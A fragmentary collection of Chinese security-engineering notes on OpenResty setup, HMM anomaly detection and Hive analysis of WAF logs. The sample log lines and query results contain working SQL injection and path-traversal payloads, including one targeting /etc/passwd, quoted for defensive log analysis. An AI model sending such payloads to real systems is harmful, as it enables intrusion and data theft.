wget http://openresty.org/download/ngx_openresty-1.7.2.1.tar.gz

apt-get install libreadline-dev libpcre3-dev libssl-dev  libpq-dev  perl gcc g++ autoconf automake build-essential

http://sourceforge.net/projects/pcre/files/pcre/8.35/

tar zxvf pcre-8.35.tar.gz

cd pcre-8.35/

./configure --enable-jit --prefix=/opt/openresty/pcre

make && make install

tar zxvf ngx_openresty-1.7.2.1.tar.gz

cd ngx_openresty-1.7.2.1/

./configure --help

然后根据所需选择需开启的功能

./configure --prefix=/opt/openresty --with-http_iconv_module  --with-http_postgres_module --with-luajit --with-luajit-xcflags=-DLUAJIT_ENABLE_LUA52COMPAT --with-pcre=/opt/pcre-8.35/ --with-pcre-jit --with-http_ssl_module

make

make -j2 (
make -j $(getconf _NPROCESSORS_CONF)  可以使用这种方式来获得cpu信息

make install

（1）下载源码

git clone https://github.com/cloudflare/lua-aho-corasick

（2）编译

make -C /root/lua-aho-corasick/ CFLAGS='-g -O3 -Wall' LUA_INCLUDE_DIR=/opt/openresty/luajit/include/luajit-2.1

make -C /root/lua-aho-corasick/ DESTDIR=/opt/openresty/ PREFIX=luajit install

示例2: 安装luasocket

wget http://files.luaforge.net/releases/luasocket/luasocket/luasocket-2.0.2/luasocket-2.0.2.tar.gz

tar zxvf luasocket-2.0.2.tar.gz

cd luasocket-2.0.2/

编译

make -C /root/luasocket-2.0.2 INSTALL_TOP_SHARE=/opt/openresty/luajit/share/lua/5.1/ INSTALL_TOP_LIB=/opt/openresty/luajit/lib/lua/5.1/  LUAINC="-I /opt/openresty/luajit/include/luajit-2.1" install

安装成功后的openrestry目录结构

7.支持的模块简介

http://app.yinxiang.com/l/AAJIQXsu-VRMYpHZXyIpb_gazm_YoOWmr1k/

http://vdisk.weibo.com/s/G_jLEbJqrrxD/1413016756

perl FingerPrint.pl url.txt<uri 文件路径 必选> tanjiti.json[指纹规则文件，可选]

结果输出到 url.txt__fingerprint 文件里

指纹规则文件编写示例：

more tanjiti.json

"apps": {
                "Discuz!":{
               	 "website": "www.discuz.net/forum.php",
               	 "cats": [ 1 ],
                 "meta": { "generator": "Discuz"},
                 "headers": {"Set-Cookie": "_lastact.*_sid|_sid.*_lastact|_sid.*smile|smile.*_sid"},
                 "url": "/uc_server[/$]|uc_client[/$]",
                 "html": "Powered by (?:Discuz!|<a href=\"http://www\\.discuz\\.net/\"|UCenter)",
                 "implies": "php"
                },
        	"PHP": {
                "website": "php.net",
                "cats": [ 27 ],
                "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" },
                "url": "\\.php(?:$|\\?)"
                }

 }

vim testCurl.php 

<?php

if ( php_sapi_name() !== 'cli' ) {
        exit('Run me from the command line');
}

$url = !empty($argv[1]) ? $argv[1] : '';

if ( !$url ) {
        echo "Usage: php {$argv[0]} <url>\n";

        exit(0);
}

$result = curl($url); 
var_dump($result);

function curl($url)
        {
                echo 'cURL request: ' . $url . "\n";

                $ch = curl_init($url); //初始化

                curl_setopt_array($ch, array(//设置选项
                        CURLOPT_SSL_VERIFYPEER => false,
                        CURLOPT_HEADER         => true,
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_FOLLOWLOCATION => true,
                        CURLOPT_MAXREDIRS      => 3, //重定向
                        CURLOPT_TIMEOUT        => 5, //超时时间，单位s
                        CURLOPT_USERAGENT      => 'Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1' //User-Agent
                        ));

                $response = curl_exec($ch);

                if ( curl_errno($ch) !== 0 ) {
                        throw new Exception('cURL error: ' . curl_error($ch));
                }

                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

                if ( $httpCode != 200 ) {
                        throw new Exception('cURL request returned HTTP code ' . $httpCode);
                }

                $result = new stdClass();

                $result->url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

                $result->host = parse_url($result->url, PHP_URL_HOST);

                $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                
                $result->html = substr($response, $headerSize);

                $result->html = mb_check_encoding($result->html, 'UTF-8') ? $result->html : utf8_encode($result->html);

                $headers = trim(substr($response, 0, $headerSize));
                $headers = preg_split('/^\s*$/m', $headers);
                $headers = end($headers);
                $lines = array_slice(explode("\r\n", $headers), 1);

                foreach ( $lines as $line ) {
                        if ( strpos(trim($line), ': ') !== false ) {
                                list($key, $value) = explode(': ', $line);

                                $result->headers[strtolower($key)] = $value;
                        }
                }

                return $result;
        }
?>

php testCurl.php www.tanjiti.com/xss.php?a=lala   
cURL request: www.tanjiti.com/xss.php?a=lala
object(stdClass)#1 (4) {
  ["url"]=>
  string(37) "HTTP://www.tanjiti.com/xss.php?a=lala"
  ["host"]=>
  string(15) "www.tanjiti.com"
  ["html"]=>
  string(4) "lala"
  ["headers"]=>
  array(11) {
    ["date"]=>
    string(29) "Fri, 31 Oct 2014 10:08:50 GMT"
    ["content-type"]=>
    string(9) "text/html"
    ["transfer-encoding"]=>
    string(7) "chunked"
    ["connection"]=>
    string(10) "keep-alive"
    ["set-cookie"]=>
    string(133) "__cfduid=db05b3ccf4d2b4db66bb46b1058c616831414750130574; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.tanjiti.com; HttpOnly"
    ["x-powered-by"]=>
    string(20) "PHP/5.5.9-1ubuntu4.4"
    ["x-content-type-options"]=>
    string(7) "nosniff"
    ["x-frame-options"]=>
    string(10) "sameorigin"
    ["x-xss-protection"]=>
    string(12) "1;mode=block"
    ["server"]=>
    string(16) "cloudflare-nginx"
    ["cf-ray"]=>
    string(20) "181f0dbc131a036e-LAX"
  }
}

NFA引擎正则优化TIPS、Perl正则技巧及正则性能评测方法 

echo "0 1 2 2 2 1 1 0 0 2 1 2 1 1 1 1 2 2 2 0 0 0 0 0 0 2 2 2 0 0 0 0 0 0 1 1 1 1 2 2 2 2 2 0 2 1 2 0 2 1 2 1 1 0 0 0 1 0 1 0 2 1 2 1 2 1 2 1 1 0 0 2 2 0 2 1 1 0" > hmm-input 

bin/mahout  baumwelch -i hmm-input(观测序列文件） -o hmm-model（hmm模型文件） -nh 3（隐状态数） -no 3（观测状态数） -e  .0001 -m 10

Initial probabilities: 初始隐状态向量pi
0 1 2 
0.062295949769082204 0.22250521455286396 0.7151988356780538
Transition matrix:状态转移矩阵A:
  0 1 2 
0 0.3765444789556002 0.5583673988903969 0.06508812215400292 
1 0.3759312048603327 0.2560959620304218 0.36797283310924545 
2 0.5383787685979908 0.24752553248847228 0.21409569891353694 
Emission matrix: 发射矩阵
  0 1 2 
0 0.4419117509334424 0.3106990713267408 0.2473891777398168 
1 0.20948851558479514 0.2830936761513362 0.5074178082638686 
2 0.34341499252552676 0.40310175949497634 0.2534832479794969

bin/mahout hmmpredict -m hmm-model（hmm模型文件）  -o hmm-predictions （预测结果文件）-l 10（预测多少个后续观测状态）

more hmm-predictions 
2 2 0 0 1 2 1 2 2 1 

echo "2 2 0 0 1 2 1 2 2 1" > hmm-viterbi-input

bin/mahout viterbi -i hmm-viterbi-input  -o hmm-viterbi-output -m hmm-model -l

more hmm-viterbi-output 
2 1 2 0 0 1 2 0 1 2 

http://code.google.com/p/jahmm/
git clone https://github.com/tanjiti/jahmm （不能翻墙的）

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli -help
-opdf [integer|gaussian|gaussian_mixture|multi_gaussian]  指定观测序列的分布特征
        Determines the observation distribution type associated with the
        states of the HMM.

-r <range> 如果观测序列为整数，指定范围

        The 'range' option is mandatory when using

        distributions dealing with integers; <range> is a number such

        that the distribution is related to numbers in the range

        0, 1, ..., range-1.

-ng <number> 如果观测序列的分布为多个高斯分布，指定高斯分布的个数

        This option is mandatory when using gaussian mixture

        distribution.  It  determines the number of gaussians.

-d <dimension> 如果观测序列的分布为多维度向量的高斯分布，指定向量纬度

        This option is mandatory when using multi-variate gaussian

        distributions. It determines the dimension of the observation

        vectors.
-n <nb_states> 指定隐状态数
        The number of states of the HMM.

-i <input_file> 指定输入

        An HMM input file.  Default is standard input.

-o <output_file> 指定输出

        An HMM output file.  Default is standard output.

-os <output_file>  指定输出序列文件 

        A sequences output file.

  Default is standard output.

-is <input_file>  指定输入序列文件

        A sequences input file.

-ikl <input_file> 指定使用 Kullback-Leibler 算法计算HMM距离的另一个HMM模型
        An HMM input file with respect to which a Kullback-Leibler distance can

        be computed.

-ni <nb> 指定BaumWelch算法迭代次数

        The number of iterations performed by the Baum-Welch algorithm.  Default is 10.

All input (resp. output) file names can be replaced by '-' to mean using

standard input (resp. output).

Hmm v1.0

NbStates 3

State
Pi 0.333
A 0.333 0.333 0.333
IntegerOPDF [0.33333333333333365 0.32051282051282076 0.3461538461538464 ]


State
Pi 0.333
A 0.333 0.333 0.333
IntegerOPDF [0.33333333333333365 0.32051282051282076 0.3461538461538464 ]


State
Pi 0.333
A 0.333 0.333 0.333
IntegerOPDF [0.33333333333333365 0.32051282051282076 0.3461538461538464 ]

属性：
初始变量pi      double pi[];
隐状态转移矩阵A double a[][];
发射矩阵B   ArrayList<Opdf<O>> opdfs;

构造函数  
Hmm(int nbStates, OpdfFactory<? extends Opdf<O>> opdfFactory) 初始向量，状态转移函数，发射矩阵 皆取平均值
Hmm(double[] pi, double[][] a, List<? extends Opdf<O>> opdfs) 用指定初始向量，状态转移函数，发射矩阵生成HMM对象
Hmm(int nbStates) 初始向量，状态转移函数，发射矩阵 皆取空


getter
初始向量矩阵：double getPi(int stateNb)
发散矩阵：Opdf<O> getOpdf(int stateNb)
状态转移矩阵：double getAij(int i, int j)


setter
初始向量矩阵：setPi(int stateNb, double value)
发散矩阵：setOpdf(int stateNb, Opdf<O> opdf)
状态转移矩阵：setAij(int i, int j, double value)

方法：
获得隐状态数：int nbStates()
获得指定观测状态序列对应的最有可能的隐状态序列，使用viterbi算法 int[] mostLikelyStateSequence(List<? extends O> oseq)
获得指定观测状态序列的概率，使用ForwardBackward算法   double probability(List<? extends O> oseq)
获得指定观测状态序列的概率（用自然对数来表示)，使用ForwardBackward算法 double lnProbability(List<? extends O> oseq)
获得指定观测状态序列的P[oseq,sseq|H]概率 double probability(List<? extends O> oseq, int[] sseq)
获得HMM文本描述 toString()  
获得HMM文本描述String toString(NumberFormat nf)

BaumWelchLearner
setter
设置迭代次数 setNbIterations(int nb) 默认为9次

getter
获得迭代次数  getNbIterations()

方法
 训练  learn(Hmm<O> initialHmm, List<? extends List<? extends O>> sequences)

BaumWelchScaledLearned （继承BaumWelchLearner,避免underflows）

package helloHMM;
import java.util.ArrayList;
import java.io.IOException;
import be.ac.ulg.montefiore.run.jahmm.Hmm;
import be.ac.ulg.montefiore.run.jahmm.ObservationInteger;
import be.ac.ulg.montefiore.run.jahmm.OpdfIntegerFactory;
import be.ac.ulg.montefiore.run.jahmm.OpdfInteger;
import be.ac.ulg.montefiore.run.jahmm.learn.BaumWelchScaledLearner;
import be.ac.ulg.montefiore.run.jahmm.draw.GenericHmmDrawerDot;


public class test {

	
	public static void main(String[] args){
		/////////////////////////
		//generate origin HMM model 生成初始的HMM模型，以小红与小明为例子
		/////////////////////////
		int nbHiddenStates = 3;
		int nbObservedStates = 3;
				
		Hmm<ObservationInteger> originHmm = 
				new Hmm<ObservationInteger>(nbHiddenStates,new OpdfIntegerFactory(nbObservedStates));
			
		//set initial state vector -Pi 
		originHmm.setPi(0, 0.36);
		originHmm.setPi(1, 0.51);
		originHmm.setPi(2, 0.31);
		
		//set transition matrix - Aij  
		originHmm.setAij(0, 0, 0.365);
		originHmm.setAij(0, 1, 0.500);
		originHmm.setAij(0, 2, 0.135);
		originHmm.setAij(1, 0, 0.250);
		originHmm.setAij(1, 1, 0.125);
		originHmm.setAij(1, 2, 0.625);
		originHmm.setAij(2, 0, 0.365);
		originHmm.setAij(2, 1, 0.265);
		originHmm.setAij(2, 2, 0.370);
		
		//set emission matrix - Opdf
		originHmm.setOpdf(0, new OpdfInteger(new double[] {0.1, 0.2, 0.7} ));
		originHmm.setOpdf(1, new OpdfInteger(new double[] {0.5, 0.25, 0.25}));
		originHmm.setOpdf(2, new OpdfInteger(new double[] {0.8, 0.1, 0.1}));
		
			
		String originHmmStr = originHmm.toString();
		System.out.print("Origin HMM *************** \n");
		System.out.print(originHmmStr);
		
		/////////////////////////////////////////
		//task One: learn use BaumWelch Algorithm 学习，生成合适的HMM模型
		/////////////////////////////////////////
		ArrayList<ArrayList<ObservationInteger>> observSequence = 
				new ArrayList<ArrayList<ObservationInteger>>();		
		
		int [] array = {0,1,2,2,2,1,1,0,0,2,1,2,1,1,1,1,2,2,2,0,0,0,0,0,0,2,2,2,0,0,0,0,0,0,1,1,1,1,2,2,2,2,2,0,2,1,2,0,2,1,2,1,1,0,0,0,1,0,1,0,2,1,2,1,2,1,2,1,1,0,0,2,2,0,2,1,1,0};
		
		ArrayList<ObservationInteger> OneSequence = new ArrayList<ObservationInteger>(); 
		for(int i = 0; i < array.length; i++)
			OneSequence.add(new ObservationInteger(array[i]));

		observSequence.add(OneSequence);
		
		BaumWelchScaledLearner bw = new BaumWelchScaledLearner();
		bw.setNbIterations(10);
		Hmm<ObservationInteger> learnedHmm_bw = bw.learn(originHmm, observSequence);
		String learnedHmmStr_bw = learnedHmm_bw.toString();		
		System.out.print("\nTask 1:Learned HMM use BaumWelch *************** \n");
		System.out.print(learnedHmmStr_bw);
		
		
		////////////////////////////////////////////
		//task two: get the sequence the probability 评估，获得指定观测序列的概率
		////////////////////////////////////////////
		int [] array_seq = {1, 2, 0, 0, 0, 0, 1, 2, 0};
		ArrayList<ObservationInteger> Sequence_to = new ArrayList<ObservationInteger>(); 
		for(int i = 0; i < array_seq.length; i++)
			Sequence_to.add(new ObservationInteger(array_seq[i]));
		
		//HMM's Probability use ForwardBackward Algorithm
		double seq_prob = learnedHmm_bw.probability(Sequence_to);
		System.out.printf("\nTask 2: %s 's probability is %f \n", Sequence_to.toString(), seq_prob);
		
	
		////////////////////////////////////////////
		//task three: get the hidden states sequence of the observer states sequence解码，获得指定观测序列对应的最有可能的隐藏序列
		//////////////////////////////	
		int [] array_seq_2 = {2, 2, 0, 0, 1, 2, 1, 2, 2, 1};
		ArrayList<ObservationInteger> Sequence_three = new ArrayList<ObservationInteger>(); 
		for(int i = 0; i < array_seq_2.length; i++)
			Sequence_three.add(new ObservationInteger(array_seq_2[i]));
		
		//use the Viterbi Algorithm
		int [] hidden_states_seq = learnedHmm_bw.mostLikelyStateSequence(Sequence_three);
		
		
		ArrayList<ObservationInteger> Sequence_hidden = new ArrayList<ObservationInteger>(); 
		for(int i=0; i<hidden_states_seq.length; i++)
			Sequence_hidden.add(new ObservationInteger(hidden_states_seq[i]));
		
		System.out.printf("\nTask 3: observer hidden states sequence %s 's hidden states sequence is %s \n",
				Sequence_three.toString(),Sequence_hidden.toString());

		
		//////////////////////////////////////////////////
		//HmmDrawerDot Hmm模型可视化
		//////////////////////////////////////////////////
		//you can install graphviz and use GVEdit to view the HMM model
		GenericHmmDrawerDot hmmDrawer = new GenericHmmDrawerDot();
		
		try{
			hmmDrawer.write(originHmm, "hmm-origin.dot");
		}
		catch(IOException e){
			System.err.print("Writing file triggered an exception: " + e);
		}
			
	}
	

}

Hmm<ObservationInteger> hmm = new Hmm<ObservationInteger>(hidden, new OpdfIntegerFactory (observed));

使用上一步生成的观测序列，调用BaumWelch算法进行学习，生成合适的HMM的对象

BaumWelchScaledLearner bw = new BaumWelchScaledLearner();
bw.setNbIterations(20000);
Hmm<ObservationInteger> learnedHmm_bw = bw.learn(originHmm, observSequence);

double seq_i_prob = learnedHmm_bw.probability(Sequence_i);

double seq_to_prob = learnedHmm_bw.probability(Sequence_to);

判断概率是否在合法范围内

最简单的方法是将阈值设置为所有观测序列中的最小值，

我们还可以按概率的统计分布特征（中位数，算术平均，方差）来选取范围

当然这些都需要根据实际情况进行参数调优

好了，关键步骤讲完了。在实际应用中，特别是日志量过大的情况下，我们需要做很多异常和优化处理，例如

（1）异常处理

观测状态数不能超过36，否则抛出异常

学习时间花费不能超过XXX，否则抛出异常

（2）观测状态序列及序列集合的优化

训练阶段：观测序列数量过大的情况下，会影响训练时间与结果，所以需要做reduce处理，例如观测序列包含的字符相同，则忽略顺序认为是同一个序列

检测阶段：待检测观测序列的取样处理，例如相同观测状态的合并

（3）隐状态数的选择

最简单的是选取所有观测状态序列中去重后的观测状态数的平均值

4. 大数据处理

当日志量很大的情况下，我们需要引入数据的并行处理。于是hadoop上场了，我们将日志存储在HFDS里，采用Hadoop提供的MapReduce计算机制，来完成日志异常训练与检测，调用示例如下

hadoop jar HMM_Abnormal.jar HmmAbnormal.train  /data/in/  /data/out/model/

hadoop jar HMM_Abnormal.jar HmmAbnormal.check  /data/in/  /data/out/model/ /data/out/result/

5. 总结

HMM异常检测同朴素贝叶斯分类器也是白名单（异常）的思路，在第一学习阶段通过对正常的请求的学习，得出正常请求的模式，在第二检测阶段将不符合正常模式则判定为异常。

实时的HMM可以用于WAF或IPS系统实时检测，离线的HMM可以用于WAF或IPS误报漏报运维。

我们知道白名单（异常）最大的优点是弥补黑名单签名知识库更新滞后的漏报情况，但其在模型训练数据污染严重（攻击日志大量混入到学习日志中）、模型训练不充分和模型训练不到（有些有漏洞的攻击请求不会出现在正常请求中）的情况下会丧失这一优点。因此需要其他模型来弥补缺陷，使用数据分析来解决问题，就是要多个模型（算法）综合使用，这是个有挑战的路线，与君共勉。

cp conf/hive-env.sh.template conf/hive-env.sh
vim conf/hive-env.sh

HADOOP_HOME=/home/tanjiti/hadoop-2.6.0[替换成hadoop所在目录]

export HADOOP_USER_CLASSPATH_FIRST=true 

错误2：

Exception in thread "main" java.lang.RuntimeException: java.lang.IllegalArgumentException: java.net.URISyntaxException: Relative path in absolute URI: ${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D
        at org.apache.hadoop.hive.ql.session.SessionState.start(SessionState.java:472)
        at org.apache.hadoop.hive.cli.CliDriver.run(CliDriver.java:671)
        at org.apache.hadoop.hive.cli.CliDriver.main(CliDriver.java:615)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:606)
        at org.apache.hadoop.util.RunJar.run(RunJar.java:221)
        at org.apache.hadoop.util.RunJar.main(RunJar.java:136)
Caused by: java.lang.IllegalArgumentException: java.net.URISyntaxException: Relative path in absolute URI: ${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D
        at org.apache.hadoop.fs.Path.initialize(Path.java:206)
        at org.apache.hadoop.fs.Path.<init>(Path.java:172)
        at org.apache.hadoop.hive.ql.session.SessionState.createSessionDirs(SessionState.java:515)
        at org.apache.hadoop.hive.ql.session.SessionState.start(SessionState.java:458)
        ... 8 more
Caused by: java.net.URISyntaxException: Relative path in absolute URI: ${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D
        at java.net.URI.checkPath(URI.java:1804)
        at java.net.URI.<init>(URI.java:752)
        at org.apache.hadoop.fs.Path.initialize(Path.java:203)
        ... 11 more

解决方案：替换${system:java.io.tmpdir%7D/$%7Bsystem:user.name%7D为绝对路径

vim conf/hive-site.xml

编辑

  <property>
    <name>hive.exec.local.scratchdir</name>
    <value>/tmp/hive</value>
    <description>Local scratch space for Hive jobs</description>
  </property>
  <property>
    <name>hive.downloaded.resources.dir</name>
    <value>/tmp/${hive.session.id}_resources</value>
    <description>Temporary local directory for added resources in the remote file system.</description>
  </property>
  <property>
    <name>hive.querylog.location</name>
    <value>/tmp/hive</value>
    <description>Location of Hive run time structured log file</description>
  </property>
<property>
    <name>hive.server2.logging.operation.log.location</name>
    <value>/tmp/hive/operation_logs</value>
    <description>Top level directory where operation logs are stored if logging functionality is enabled</description>
  </property>

错误3:

FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask. MetaException(message:javax.jdo.JDODataStoreException: An exception was thrown while adding/validating class(es) : Specified key was too long; max key length is 767 bytes
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Specified key was too long; max key length is 767 bytes

alter database hive character set latin1; 

错误4:

java版本过低导致的错误，最好使用java 7及以上版本（java6的定位估计是浏览器中的IE6）

Exception in thread "main" java.lang.UnsupportedClassVersionError: org/apache/hadoop/hdfs/server/namenode/NameNode : Unsupported major.minor version 51.0

三、 常用HiveQL及UDF编写

一句话：和mysql非常非常像，学起来完全没有压力

1. hive客户端常用命令

hive -e "SQL语句";
hive -f  test.hql 从文件执行hive查询
hive> ! pwd;  执行简单的shell命令
hive> dfs -ls /user/hive/warehouse; 执行Hadoop的dfs命令

2. hive支持的数据类型

包括基本类型与集合类型，对日志分析，一般string，bigint，double，map就够用了

3. hive默认的切割文本文件的分隔符

\n 分割行；ctrl+A 分割字段（列），最后自己来指定分割符

4. hive的环境设置

set hive.cli.print.current.db=true; 设置显示当前DB
set hive.cli.print.header=true; 设置显示表头
set hive.exec.mode.local.auto=ture;设置本地模式，避免进行mapreduce，数据量小的时候适用
set hive.mapred.mode=strict;设置严格模式，当开启非本地模式，采用严格的查询语句优化查询性能，例如where需指定分区；order by要和limit一起

5. HiveQL：我们通过分析web日志来熟悉HiveQL

日志样例

127.0.0.1 [12/May/2015:15:16:30 +0800] sqli(194) BAN(226) 403  174 POST "/wp-content/plugins/store-locator-le/downloadcsv.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0" "-" "-" "-" "query=addr,,1%26%2339;union(select*from((select%20md5(3.1415))a1%20join(select%202)a2))#" "application/x-www-form-urlencoded"

remote_addr string 访问者ip
time_local 时间
attack_type 攻击类型（类型ID）
ban_type 事件处理类型（事件响应时间）
status HTTP响应码
body_bytes_sent body字节数
request_method HTTP请求方法
request_uri HTTP请求URI
http_user_agent  User_Agent请求头
http_x_forwarded_for  X_Forwarded_For请求头
http_referer Referer请求头
http_cookie Cookie请求头
request_body 请求头
http_content_type Content_Type请求头

第一步：创建数据库weblog

hive> create database if not exists weblog comment 'holds all web logs' ;

数据库存储在

hive> dfs -ls /user/hive/warehouse/;

drwxrwxr-x   - root supergroup          0 2015-05-12 15:01 /user/hive/warehouse/weblog.db

第二步：创建表nginxlog，用来存储原始日志

hive> use default;

hive> create table nginxlog(remote_addr string,time_local string, attack_type string,ban_type string,status string,body_bytes_sent string,request_method string,request_uri string,http_user_agent string,http_x_forwarded_for string,http_referer string,http_cookie string,request_body string,http_content_type string) row format serde 'org.apache.hadoop.hive.serde2.RegexSerDe' with serdeproperties("input.regex" = "(\\d+\\.\\d+\\.\\d+\\.\\d+)\\s+(\\[[^\\]]+\\])\\s+(\\w+\\(\\d*\\))\\s+(\\w+\\(\\d*\\))\\s+(\\d{3})\\s+(\\d+)\\s+([A-Z]+)\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"")  stored as textfile;

这个input regex让我血槽速减 99%

教训：双倍转义，双倍转义；双倍转义 重要的事情说三遍

也让我学会了如何修改table的SerDe属性

补充知识：hive使用一个inputformat对象将输入流分割成记录，然后使用一个outoutformat对象来记录格式化为输出流，再使用

SerDe（序列化，反序列化配置）在读数据时将记录解析成列，在写数据时将列编码成记录。

hive> alter table nginxlog
    > set serde 'org.apache.hadoop.hive.serde2.RegexSerDe'  
    > with serdeproperties("input.regex" = "(\\d+\\.\\d+\\.\\d+\\.\\d+)\\s+(\\[[^\\]]+\\])\\s+(\\w*\\(\\d*\\))\\s+(\\w*\\(\\d*\\))\\s+(\\d{3})\\s+(\\d+)\\s+([A-Z]+)\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"\\s+\\\"([^\"]+)\\\"") ;

表创建成功后，我们可以看到其在hadoop中的存储位置为

hive> dfs -ls /user/hive/warehouse/weblog.db/nginxlog;
Found 1 items
-rwxrwxr-x   1 root supergroup    1861896 2015-05-12 20:22 /user/hive/warehouse/weblog.db/nginxlog/access.log

我们可以查看表的结构

hive> describe nginxlog;
OK
remote_addr             string                                      
time_local              string                                      
attack_type             string                                      
ban_type                string                                      
status                  string                                      
body_bytes_sent         string                                      
request_method          string                                      
request_uri             string                                      
http_user_agent         string                                      
http_x_forwarded_for    string                                      
http_referer            string                                      
http_cookie             string                                      
request_body            string                                      
http_content_type       string                                      
Time taken: 0.055 seconds, Fetched: 14 row(s)

第三步：导入原始日志文件

load data local inpath "/home/tanjiti/nginx/logs/access.log" overwrite into table nginxlog;

第四步：创建另一个表，用来存储url parse后的数据

create table urlparse(
request_uri string,
requestfilename string,
param map<string,string>);

将url parse数据存入urlparse表中

insert overwrite table urlparse select request_uri, case when instr(request_uri,'?') == 0 then substr(request_uri,0,length(request_uri)) else substr(request_uri,0,instr(request_uri,'?')-1) end  as requestfilename, case when instr(request_uri,'?') == 0 then NULL else str_to_map(substr(request_uri,instr(request_uri,'?')+1),'&','=') end as param from nginxlog;

我们可以检查一下存入的数据

urlparse.request_uri    urlparse.requestfilename        urlparse.param （列名）
/forummission.php       /forummission.php       NULL
/userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash='%20and%20(select%201%20from%20(select%20count(*),concat(md5(3.1415),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23  /userapp.php    {"hash":"'%20and%20(select%201%20from%20(select%20count(*),concat(md5(3.1415),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23","action":"invite","option":"deluserapp","view":"all","script":"notice"}

注：这种解析方法非常粗略，对不符合url?k1=v1&k2=v2格式的请求是无法正确解析的，其中就包括url改写的，实际应用需要改善，这里仅仅是示例

第五步：探索URL特征

我们从统计的角度来探索url的一些特征：

1. 每个host对应多少个去重的url请求；
2. 这些URL请求的：
3. 参数个数的分布特征
4. 参数长度的分布特征
5. 参数名的取值枚举及取值分类：Word,  ParaArray( e.g. text["fafa"], t[]),Other
6. 参数值的取值分类：Digits( e.g. -123  +56 123.3  .3 1,123,123)，Word, Email, PATH(windows/*linux), URI，SafeText(-_.,:a-zA-Z0-9\s), Flag(Null), DuplicatePara(e.g. a=1&a=2), Base64, Encrypt(md5, sha1),Other

扩展开来，这种探索方法我们可以用来生成URL白名单，当然在探索前，我们需要对日志源进行清理操作，去除非正常日志例如攻击日志，server错误日志（只取2xx，3xx），静态日志（avi，jpg等），重复日志等杂音，与规范化处理例如统一PATH(压缩多个//， 转换/->\)，扯远了。

长度性的判断可以简单地使用切比雪夫定理

对于数值性的统计分析，Hive提供了一些内置函数，例如

描述数据集中趋势的：均值avg；

描述数据离散程度的：方差var_pop；标准差stddev_pop；协方差covar_pop；相关系数corr

这些功能的实现有些可以用内置的函数，有些就得编写自定义函数了。

内置函数之获得请求路径，该路径下出现的参数名数组，参数值数组

select requestfilename,map_keys(param),map_values(param)  from urlparse where param is not null limit 10;

部分结果如下

/bbs/plugin.php ["action","identifier","fmid","module"] ["view","family","1+and+1=2+unIon+selecT+%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(0x3a,0x3a,md5(3.1415),0x3a,0x3a),25,26,27,28,29,30,31--%20-","family"]
/wp-content/plugins/profiles/library/bio-img.php        ["id"]  ["-1%27%20AND%201=IF(2%3E1,BENCHMARK(10000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20-"]

内置函数之获得index.php下所有的查询字符串key-value对

hive> from (select  explode(param) from urlparse where param is not NULL and requestfilename = '/index.php') e select distinct *;

部分结果如下

view    ../../../../../../../../../../../../../../../../../../boot.ini%00
view    ../../../../../../../../../../../../../../../../etc/passwd%00
view    c%3A%5CBoot.ini%00
view    music
view    object
view    portfolio
view    thread
view    timereturns

内置函数之获得每条url的参数分布统计特征

hive> select s.requestfilename as requestfilename, sum(distinct s.param_num) as sum, avg(s.param_num) as avg, max(s.param_num) as max, min(s.param_num) as min, variance(s.param_num) as variance, var_samp(s.param_num) as var_samp, stddev_pop(s.param_num) as stddev_pop, stddev_samp(s.param_num) as stddev_samp  from (select requestfilename as requestfilename,size(param) as param_num from urlparse where param is not null)s group by s.requestfilename limit 10;

部分结果如下：

requestfilename sum     avg     max     min     variance        var_samp        stddev_pop      stddev_samp
/       21      2.4623655913978495      6       1       0.8077234362354029      0.816503038803179       0.8987343524286823      0.9036055770097808
//m_5_1/govdiropen/que_chooseusers.jsp  1       1.0     1       1       0.0     0.0     0.0     0.0

第六步：编写用户自定义函数-IP GEO信息查询

我们用查询Maxmind IP库来定位remote_addr的地理位置

    1. 下载maxmind geoip java api并打包成jar包

git clone https://github.com/maxmind/geoip-api-java.git
cd geoip-api-java/
mvn clean install
会生成target/geoip-api-1.2.15-SNAPSHOT.jar文件

     2. 获得IP库数据文件

wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz
gzip -d GeoIP.dat.gz 

     3. 编写hive-geo UDF function

源码参照 https://raw.githubusercontent.com/edwardcapriolo/hive-geoip/master/src/main/java/com/jointhegrid/udf/geoip/GenericUDFGeoIP.java

源码由四部分组成

1.函数使用说明文档，describe function  中会看到的内容

@Description(
  name = "geoip",
  value = "_FUNC_(ip,property,database) - loads database into GEO-IP lookup "+
